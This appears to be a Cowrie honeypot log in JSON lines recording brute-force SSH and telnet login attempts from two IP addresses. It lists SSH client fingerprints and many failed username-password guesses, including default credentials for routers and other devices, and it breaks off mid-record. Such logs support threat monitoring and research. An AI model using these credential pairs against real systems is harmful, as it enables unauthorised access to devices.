{"eventid":"cowrie.session.connect","src_ip":"85.130.237.235","src_port":54007,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55e3dbe00c4","protocol":"telnet","message":"New connection: 85.130.237.235:54007 (10.17.0.5:23) [session: d55e3dbe00c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:22.019962Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"b510d0d7b9c3","protocol":"ssh","message":"New connection: 60.165.124.241:49952 (10.17.0.5:22) [session: b510d0d7b9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:22.113725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:22.118480Z","src_ip":"60.165.124.241","session":"b510d0d7b9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:22.365586Z","src_ip":"60.165.124.241","session":"b510d0d7b9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:22.629192Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2025!","message":"login attempt [root/admin2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:23.116266Z","src_ip":"60.165.124.241","session":"b510d0d7b9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:23.281531Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:23.933501Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:24.363396Z","src_ip":"60.165.124.241","session":"b510d0d7b9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:24.589216Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52920,"dst_ip":"10.17.0.5","dst_port":22,"session":"2616bc363c2e","protocol":"ssh","message":"New connection: 60.165.124.241:52920 (10.17.0.5:22) [session: 2616bc363c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:24.603542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:24.608374Z","src_ip":"60.165.124.241","session":"2616bc363c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:24.851787Z","src_ip":"60.165.124.241","session":"2616bc363c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solokey","message":"login attempt [root/solokey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:25.241489Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuaicdn","message":"login attempt [root/kuaicdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:25.580879Z","src_ip":"60.165.124.241","session":"2616bc363c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadmin","password":"vadmin","message":"login attempt [vadmin/vadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:25.893494Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:26.545202Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:26.830666Z","src_ip":"60.165.124.241","session":"2616bc363c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55820,"dst_ip":"10.17.0.5","dst_port":22,"session":"4631965158a4","protocol":"ssh","message":"New connection: 60.165.124.241:55820 (10.17.0.5:22) [session: 4631965158a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:27.095891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:27.103703Z","src_ip":"60.165.124.241","session":"4631965158a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:27.197219Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:27.360437Z","src_ip":"60.165.124.241","session":"4631965158a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"12345","message":"login attempt [default/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:27.857294Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mc021!#0102pl,","message":"login attempt [root/Mc021!#0102pl,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:28.429291Z","src_ip":"60.165.124.241","session":"4631965158a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win1doW$","message":"login attempt [root/Win1doW$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:28.513335Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:29.165417Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:29.680892Z","src_ip":"60.165.124.241","session":"4631965158a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Glo","password":"Glo","message":"login attempt [Glo/Glo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:29.817284Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e06a40dd3f17","protocol":"ssh","message":"New connection: 60.165.124.241:59078 (10.17.0.5:22) [session: e06a40dd3f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:29.909245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:29.913842Z","src_ip":"60.165.124.241","session":"e06a40dd3f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:30.157034Z","src_ip":"60.165.124.241","session":"e06a40dd3f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666666","message":"login attempt [admin/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:30.481081Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx+","message":"login attempt [root/1qaz2wsx+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:30.896602Z","src_ip":"60.165.124.241","session":"e06a40dd3f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:31.145626Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"lJwpbo6","message":"login attempt [default/lJwpbo6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:31.797151Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:32.145128Z","src_ip":"60.165.124.241","session":"e06a40dd3f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33766,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d968cce125a","protocol":"ssh","message":"New connection: 60.165.124.241:33766 (10.17.0.5:22) [session: 6d968cce125a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:32.385813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:32.390209Z","src_ip":"60.165.124.241","session":"6d968cce125a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"enable","message":"login attempt [admin1/enable] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:32.455020Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:32.638564Z","src_ip":"60.165.124.241","session":"6d968cce125a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fliruser","password":"fliruser","message":"login attempt [fliruser/fliruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:33.109155Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gx123456","message":"login attempt [root/gx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:33.383501Z","src_ip":"60.165.124.241","session":"6d968cce125a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"CenturyL1nk","message":"login attempt [admin/CenturyL1nk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:33.761009Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"PFCUser","password":"240653C9467E45","message":"login attempt [PFCUser/240653C9467E45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:34.413654Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.541231870651245,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:34.561100Z","src_ip":"85.130.237.235","session":"d55e3dbe00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:34.627095Z","src_ip":"60.165.124.241","session":"6d968cce125a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36620,"dst_ip":"10.17.0.5","dst_port":22,"session":"549ac1b1bdc5","protocol":"ssh","message":"New connection: 60.165.124.241:36620 (10.17.0.5:22) [session: 549ac1b1bdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:34.883195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:34.888520Z","src_ip":"60.165.124.241","session":"549ac1b1bdc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:35.137953Z","src_ip":"60.165.124.241","session":"549ac1b1bdc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Blackberry1","message":"login attempt [root/Blackberry1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:35.893335Z","src_ip":"60.165.124.241","session":"549ac1b1bdc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:37.142731Z","src_ip":"60.165.124.241","session":"549ac1b1bdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39614,"dst_ip":"10.17.0.5","dst_port":22,"session":"29050ec72639","protocol":"ssh","message":"New connection: 60.165.124.241:39614 (10.17.0.5:22) [session: 29050ec72639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:37.403876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:37.408870Z","src_ip":"60.165.124.241","session":"29050ec72639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","ch